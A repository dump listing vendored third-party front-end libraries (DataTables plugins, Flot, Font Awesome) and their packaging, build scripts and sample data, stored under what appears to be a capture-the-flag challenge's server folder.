types. Goes with the UK 3 | * date sorting plug-in. 4 | * 5 | * @name Date (`dd/mm/yyyy`) 6 | * @summary Detect data which is in the date format `dd/mm/yyyy` 7 | * @author Andy McMaster 8 | */ 9 | 10 | jQuery.fn.dataTableExt.aTypes.unshift( 11 | function ( sData ) 12 | { 13 | if (sData !== null && sData.match(/^(0[1-9]|[12][0-9]|3[01])\/(0[1-9]|1[012])\/(19|20|21)\d\d$/)) 14 | { 15 | return 'date-uk'; 16 | } 17 | return null; 18 | } 19 | ); 20 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/type-detection/ip-address.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Automatically detect IP addresses in dot notation. Goes perfectly with the 3 | * IP address sorting function. 4 | * 5 | * @name IP address detection 6 | * @summary Detect data which is in IP address notation 7 | * @author Brad Wasson 8 | */ 9 | 10 | jQuery.fn.dataTableExt.aTypes.unshift( 11 | function ( sData ) 12 | { 13 | if (/^\d{1,3}[\.]\d{1,3}[\.]\d{1,3}[\.]\d{1,3}$/.test(sData)) { 14 | return 'ip-address'; 15 | } 16 | return null; 17 | } 18 | ); 19 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "datatables-responsive", 3 | "version": "1.0.7", 4 | "main": [ 5 | "js/dataTables.responsive.js", 6 | "css/responsive.dataTables.scss" 7 | ], 8 | "dependencies": { 9 | "jquery": ">=1.7.0", 10 | "datatables": ">=1.10.1" 11 | }, 12 | "homepage": "https://github.com/DataTables/Responsive", 13 | "_release": "1.0.7", 14 | "_resolution": { 15 | "type": "version", 16 | "tag": "1.0.7", 17 | "commit": "435b1bd36ed29de73dd704121de0571a5c1a50a6" 18 | }, 19 | "_source": "https://github.com/DataTables/Responsive.git", 20 | "_target": "~1.0.3", 21 | "_originalSource": "datatables-responsive" 22 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/.gitignore: -------------------------------------------------------------------------------- 1 | .sass-cache 2 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "datatables-responsive", 3 | "version": "1.0.7", 4 | "main": [ 5 | "js/dataTables.responsive.js", 6 | "css/responsive.dataTables.scss" 7 | ], 8 | "dependencies": { 9 | "jquery": ">=1.7.0", 10 | "datatables": ">=1.10.1" 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/css/responsive.bootstrap.scss: -------------------------------------------------------------------------------- 1 | 2 | $open-button-background: #337ab7 !default; 3 | 4 | @import 'responsive.dataTables.scss'; 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/css/responsive.foundation.scss: -------------------------------------------------------------------------------- 1 | 2 | $open-button-background: #008CBA !default; 3 | 4 | @import 'responsive.dataTables.scss'; 5 | 6 | table.dataTable > tbody > tr.child { 7 | ul { 8 | font-size: 1em; 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/css/responsive.jqueryui.scss: -------------------------------------------------------------------------------- 1 | 2 | @import 'responsive.dataTables.scss'; 3 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/child-rows/disable-child-rows.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 17 | 18 | 19 | Disable child rows 20 | 21 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/display-control/index.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Display control 5 | 6 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/index.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Responsive DataTables 5 | 6 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/initialisation/index.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Initialisation 5 | 6 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/styling/foundation.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 13 | 14 | 15 | Foundation styling 16 | 17 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/styling/index.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Styling 5 | 6 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/examples/styling/jqueryui.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 13 | 14 | 15 | jQuery UI styling 16 | 17 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables-responsive/make.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | OUT_DIR=$1 4 | DEBUG=$2 5 | 6 | # Change into script's own dir 7 | cd $(dirname $0) 8 | 9 | DT_SRC=$(dirname $(dirname $(pwd))) 10 | DT_BUILT="${DT_SRC}/built/DataTables" 11 | . $DT_SRC/build/include.sh 12 | 13 | # Copy CSS 14 | rsync -r css $OUT_DIR 15 | css_frameworks responsive $OUT_DIR/css 16 | 17 | # Copy images 18 | #rsync -r images $OUT_DIR 19 | 20 | # Copy JS 21 | rsync -r js $OUT_DIR 22 | js_compress $OUT_DIR/js/dataTables.responsive.js 23 | js_frameworks responsive $OUT_DIR/js 24 | 25 | # Copy and build examples 26 | rsync -r examples $OUT_DIR 27 | examples_process $OUT_DIR/examples 28 | 29 | # Readme and license 30 | cp Readme.md $OUT_DIR 31 | cp License.txt $OUT_DIR 32 | 33 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | Please post support requests and questions in the DataTables forums at https://datatables.net/forums. Support requests posted here will be closed. This allows all questions to be located in a single, searchable, location. 2 | 3 | When you post your question in the DataTables forums, please ensure that you include a link to the page showing the issue so it can be debugged. 4 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "datatables", 3 | "main": [ 4 | "media/js/jquery.dataTables.js", 5 | "media/css/jquery.dataTables.css", 6 | "media/images/sort_asc.png", 7 | "media/images/sort_asc_disabled.png", 8 | "media/images/sort_both.png", 9 | "media/images/sort_desc.png", 10 | "media/images/sort_desc_disabled.png" 11 | ], 12 | "dependencies": { 13 | "jquery": ">=1.7.0" 14 | }, 15 | "license": "MIT", 16 | "keywords": [ 17 | "jquery", 18 | "datatables", 19 | "table", 20 | "javascript", 21 | "library" 22 | ], 23 | "ignore": [ 24 | "/.*", 25 | "examples", 26 | "media/unit_testing", 27 | "composer.json", 28 | "dataTables.jquery.json", 29 | "package.json" 30 | ] 31 | } 32 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/Sorting icons.psd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/Sorting icons.psd -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/favicon.ico -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_asc_disabled.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_both.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_both.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc_disabled.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/datatables/media/images/sort_desc_disabled.png -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "eve-raphael", 3 | "description": "Simple custom events", 4 | "main": "./eve.js", 5 | "authors": [ 6 | "Tomas Alabes (http://tomasalabes.me)" 7 | ], 8 | "license": "MIT", 9 | "homepage": "https://github.com/tomasAlabes/eve", 10 | "ignore": [ 11 | "**/.*", 12 | "node_modules", 13 | "bower_components", 14 | "test", 15 | "tests" 16 | ], 17 | "version": "0.5.0", 18 | "_release": "0.5.0", 19 | "_resolution": { 20 | "type": "version", 21 | "tag": "v0.5.0", 22 | "commit": "93132d5d47a0ce31dbd1b75208b1d4c0e2ad81e8" 23 | }, 24 | "_source": "https://github.com/tomasAlabes/eve.git", 25 | "_target": "0.5.0", 26 | "_originalSource": "eve-raphael" 27 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/README.md: -------------------------------------------------------------------------------- 1 | # Eve 2 | 3 | Tiny event helping JavaScript library. 4 | 5 | For use case look at e.html 6 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "eve-raphael", 3 | "description": "Simple custom events", 4 | "main": "./eve.js", 5 | "authors": [ 6 | "Tomas Alabes (http://tomasalabes.me)" 7 | ], 8 | "license": "MIT", 9 | "homepage": "https://github.com/tomasAlabes/eve", 10 | "ignore": [ 11 | "**/.*", 12 | "node_modules", 13 | "bower_components", 14 | "test", 15 | "tests" 16 | ] 17 | } 18 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "eve", 3 | "repo": "adobe-webplatform/eve", 4 | "description": "Custom Events", 5 | "version": "0.5.0", 6 | "keywords": ["events"], 7 | "dependencies": {}, 8 | "development": {}, 9 | "main": "eve.js", 10 | "scripts": [ 11 | "eve.js" 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/eve-raphael/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "eve", 3 | 4 | "author" : { 5 | "name" : "Dmitry Baranovskiy", 6 | "email" : "dmitry@baranovskiy.com", 7 | "url" : "http://dmitry.baranovskiy.com" 8 | }, 9 | "description" : "Simple custom events", 10 | "version" : "0.5.0", 11 | 12 | "main" : "./eve.js", 13 | 14 | "repository": { 15 | "type": "git", 16 | "url": "git@github.com:adobe-webplatform/eve.git" 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot.tooltip/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "flot.tooltip", 3 | "version": "0.8.7", 4 | "license": "MIT", 5 | "main": "js/jquery.flot.tooltip.js", 6 | "ignore": [ 7 | ".gitignore", 8 | "Gruntfile.js", 9 | "README.md", 10 | "package.json", 11 | "examples" 12 | ], 13 | "homepage": "https://github.com/krzysu/flot.tooltip", 14 | "_release": "0.8.7", 15 | "_resolution": { 16 | "type": "version", 17 | "tag": "0.8.7", 18 | "commit": "042a27d8b33d22207af8b7e76d9f0a14c840a5ae" 19 | }, 20 | "_source": "https://github.com/krzysu/flot.tooltip.git", 21 | "_target": "~0.8.4", 22 | "_originalSource": "flot.tooltip" 23 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot.tooltip/bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "flot.tooltip", 3 | "version": "0.8.7", 4 | "license": "MIT", 5 | "main": "js/jquery.flot.tooltip.js", 6 | "ignore": [ 7 | ".gitignore", 8 | "Gruntfile.js", 9 | "README.md", 10 | "package.json", 11 | "examples" 12 | ] 13 | } 14 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/.bower.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Flot", 3 | "version": "0.8.3", 4 | "main": "jquery.flot.js", 5 | "dependencies": { 6 | "jquery": ">= 1.2.6" 7 | }, 8 | "homepage": "https://github.com/flot/flot", 9 | "_release": "0.8.3", 10 | "_resolution": { 11 | "type": "version", 12 | "tag": "v0.8.3", 13 | "commit": "453b017cc5acfd75e252b93e8635f57f4196d45d" 14 | }, 15 | "_source": "https://github.com/flot/flot.git", 16 | "_target": "~0.8.3", 17 | "_originalSource": "flot" 18 | } -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/.gitignore: -------------------------------------------------------------------------------- 1 | *.min.js 2 | !excanvas.min.js 3 | node_modules/ 4 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - 0.8 4 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/Makefile: -------------------------------------------------------------------------------- 1 | # Makefile for generating minified files 2 | 3 | .PHONY: all 4 | 5 | # we cheat and process all .js files instead of an exhaustive list 6 | all: $(patsubst %.js,%.min.js,$(filter-out %.min.js,$(wildcard *.js))) 7 | 8 | %.min.js: %.js 9 | yui-compressor $< -o $@ 10 | 11 | test: 12 | ./node_modules/.bin/jshint *jquery.flot.js 13 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/component.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Flot", 3 | "version": "0.8.3", 4 | "main": "jquery.flot.js", 5 | "dependencies": { 6 | "jquery": ">= 1.2.6" 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-1.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "Europe (EU27)", 3 | "data": [[1999, 3.0], [2000, 3.9]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-2.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "Europe (EU27)", 3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-3.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "Europe (EU27)", 3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-4.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "Europe (EU27)", 3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth-5.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "Europe (EU27)", 3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-eu-gdp-growth.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "Europe (EU27)", 3 | "data": [[1999, 3.0], [2000, 3.9], [2001, 2.0], [2002, 1.2], [2003, 1.3], [2004, 2.5], [2005, 2.0], [2006, 3.1], [2007, 2.9], [2008, 0.9]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-japan-gdp-growth.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "Japan", 3 | "data": [[1999, -0.1], [2000, 2.9], [2001, 0.2], [2002, 0.3], [2003, 1.4], [2004, 2.7], [2005, 1.9], [2006, 2.0], [2007, 2.3], [2008, -0.7]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/ajax/data-usa-gdp-growth.json: -------------------------------------------------------------------------------- 1 | { 2 | "label": "USA", 3 | "data": [[1999, 4.4], [2000, 3.7], [2001, 0.8], [2002, 1.6], [2003, 2.5], [2004, 3.6], [2005, 2.9], [2006, 2.8], [2007, 2.0], [2008, 1.1]] 4 | } 5 | -------------------------------------------------------------------------------- /2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/factory: -------------------------------------------------------------------------------- 1 | #
 2 | # This file is in the public domain, so clarified as of
 3 | # 2009-05-17 by Arthur David Olson.
 4 | 
 5 | # For companies who don't want to put time zone specification in
 6 | # their installation procedures.  When users run date, they'll get the message.
 7 | # Also useful for the "comp.sources" version.
 8 | 
 9 | # Zone	NAME	GMTOFF	RULES	FORMAT
10 | Zone	Factory	0	- "Local time zone must be set--see zic manual page"
11 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/southamerica:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/southamerica


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/axes-time-zones/tz/yearistype.sh:
--------------------------------------------------------------------------------
 1 | #! /bin/sh
 2 | 
 3 | : 'This file is in the public domain, so clarified as of'
 4 | : '2006-07-17 by Arthur David Olson.'
 5 | 
 6 | case $#-$1 in
 7 | 	2-|2-0*|2-*[!0-9]*)
 8 | 		echo "$0: wild year - $1" >&2
 9 | 		exit 1 ;;
10 | esac
11 | 
12 | case $#-$2 in
13 | 	2-even)
14 | 		case $1 in
15 | 			*[24680])			exit 0 ;;
16 | 			*)				exit 1 ;;
17 | 		esac ;;
18 | 	2-nonpres|2-nonuspres)
19 | 		case $1 in
20 | 			*[02468][048]|*[13579][26])	exit 1 ;;
21 | 			*)				exit 0 ;;
22 | 		esac ;;
23 | 	2-odd)
24 | 		case $1 in
25 | 			*[13579])			exit 0 ;;
26 | 			*)				exit 1 ;;
27 | 		esac ;;
28 | 	2-uspres)
29 | 		case $1 in
30 | 			*[02468][048]|*[13579][26])	exit 0 ;;
31 | 			*)				exit 1 ;;
32 | 		esac ;;
33 | 	2-*)
34 | 		echo "$0: wild type - $2" >&2 ;;
35 | esac
36 | 
37 | echo "$0: usage is $0 year even|odd|uspres|nonpres|nonuspres" >&2
38 | exit 1
39 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/background.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/background.png


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/image/hs-2004-27-a-large-web.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/image/hs-2004-27-a-large-web.jpg


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-down.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-down.gif


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-left.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-left.gif


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-right.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-right.gif


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-up.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/flot/examples/navigate/arrow-up.gif


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/flot.jquery.json:
--------------------------------------------------------------------------------
 1 | {
 2 | 	"name": "flot",
 3 | 	"version": "0.8.3",
 4 | 	"title": "Flot",
 5 | 	"author": {
 6 | 		"name": "Ole Laursen",
 7 | 		"url": "https://github.com/OleLaursen"
 8 | 	},
 9 | 	"licenses": [{
10 | 		"type": "MIT",
11 | 		"url": "http://github.com/flot/flot/blob/master/LICENSE.txt"
12 | 	}],
13 | 	"dependencies": {
14 | 		"jquery": ">=1.2.6"
15 | 	},
16 | 	"description": "Flot is a pure JavaScript plotting library for jQuery, with a focus on simple usage, attractive looks and interactive features.",
17 | 	"keywords": ["plot", "chart", "graph", "visualization", "canvas", "graphics"],
18 | 	"homepage": "http://www.flotcharts.org",
19 | 	"docs": "http://github.com/flot/flot/blob/master/API.md",
20 | 	"demo": "http://www.flotcharts.org/flot/examples/",
21 | 	"bugs": "http://github.com/flot/flot/issues",
22 | 	"maintainers": [{
23 | 		"name": "David Schnur",
24 | 		"email": "dnschnur@gmail.com",
25 | 		"url": "http://github.com/dnschnur"
26 | 	}]
27 | }
28 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/flot/package.json:
--------------------------------------------------------------------------------
 1 | {
 2 | 	"name": "Flot",
 3 | 	"version": "0.8.3",
 4 | 	"main": "jquery.flot.js",
 5 | 	"scripts": {
 6 | 		"test": "make test"
 7 | 	},
 8 | 	"devDependencies": {
 9 | 		"jshint": "0.9.1"
10 | 	}
11 | }
12 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/.bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "font-awesome",
 3 |   "description": "Font Awesome",
 4 |   "version": "4.2.0",
 5 |   "keywords": [],
 6 |   "homepage": "http://fontawesome.io",
 7 |   "dependencies": {},
 8 |   "devDependencies": {},
 9 |   "license": [
10 |     "OFL-1.1",
11 |     "MIT",
12 |     "CC-BY-3.0"
13 |   ],
14 |   "main": [
15 |     "./css/font-awesome.css",
16 |     "./fonts/*"
17 |   ],
18 |   "ignore": [
19 |     "*/.*",
20 |     "*.json",
21 |     "src",
22 |     "*.yml",
23 |     "Gemfile",
24 |     "Gemfile.lock",
25 |     "*.md"
26 |   ],
27 |   "_release": "4.2.0",
28 |   "_resolution": {
29 |     "type": "version",
30 |     "tag": "v4.2.0",
31 |     "commit": "0b924144a95a54fa738d0450ff66c1dabd11ae74"
32 |   },
33 |   "_source": "https://github.com/FortAwesome/Font-Awesome.git",
34 |   "_target": "~4.2.0",
35 |   "_originalSource": "font-awesome"
36 | }


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/.gitignore:
--------------------------------------------------------------------------------
 1 | *.pyc
 2 | *.egg-info
 3 | *.db
 4 | *.db.old
 5 | *.swp
 6 | *.db-journal
 7 | 
 8 | .coverage
 9 | .DS_Store
10 | .installed.cfg
11 | _gh_pages/*
12 | 
13 | .idea/*
14 | .svn/*
15 | src/website/static/*
16 | src/website/media/*
17 | 
18 | bin
19 | cfcache
20 | develop-eggs
21 | dist
22 | downloads
23 | eggs
24 | parts
25 | tmp
26 | .sass-cache
27 | node_modules
28 | 
29 | src/website/settingslocal.py
30 | stunnel.log
31 | 
32 | .ruby-version
33 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/.npmignore:
--------------------------------------------------------------------------------
 1 | *.pyc
 2 | *.egg-info
 3 | *.db
 4 | *.db.old
 5 | *.swp
 6 | *.db-journal
 7 | 
 8 | .coverage
 9 | .DS_Store
10 | .installed.cfg
11 | _gh_pages/*
12 | 
13 | .idea/*
14 | .svn/*
15 | src/website/static/*
16 | src/website/media/*
17 | 
18 | bin
19 | cfcache
20 | develop-eggs
21 | dist
22 | downloads
23 | eggs
24 | parts
25 | tmp
26 | .sass-cache
27 | node_modules
28 | 
29 | src/website/settingslocal.py
30 | stunnel.log
31 | 
32 | .ruby-version
33 | 
34 | # don't need these in the npm package.
35 | src/
36 | _config.yml
37 | bower.json
38 | component.json
39 | composer.json
40 | CONTRIBUTING.md
41 | Gemfile
42 | Gemfile.lock
43 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/bower.json:
--------------------------------------------------------------------------------
 1 | {
 2 |   "name": "font-awesome",
 3 |   "description": "Font Awesome",
 4 |   "version": "4.2.0",
 5 |   "keywords": [],
 6 |   "homepage": "http://fontawesome.io",
 7 |   "dependencies": {},
 8 |   "devDependencies": {},
 9 |   "license": ["OFL-1.1", "MIT", "CC-BY-3.0"],
10 |   "main": [
11 |     "./css/font-awesome.css",
12 |     "./fonts/*"
13 |   ],
14 |   "ignore": [
15 |     "*/.*",
16 |     "*.json",
17 |     "src",
18 |     "*.yml",
19 |     "Gemfile",
20 |     "Gemfile.lock",
21 |     "*.md"
22 |   ]
23 | }
24 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/FontAwesome.otf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/FontAwesome.otf


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.eot


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.ttf


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/fonts/fontawesome-webfont.woff


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/bordered-pulled.less:
--------------------------------------------------------------------------------
 1 | // Bordered & Pulled
 2 | // -------------------------
 3 | 
 4 | .@{fa-css-prefix}-border {
 5 |   padding: .2em .25em .15em;
 6 |   border: solid .08em @fa-border-color;
 7 |   border-radius: .1em;
 8 | }
 9 | 
10 | .pull-right { float: right; }
11 | .pull-left { float: left; }
12 | 
13 | .@{fa-css-prefix} {
14 |   &.pull-left { margin-right: .3em; }
15 |   &.pull-right { margin-left: .3em; }
16 | }
17 | 


--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/font-awesome/less/core.less:
--------------------------------------------------------------------------------
 1 | // Base Class Definition
 2 | // -------------------------
 3 | 
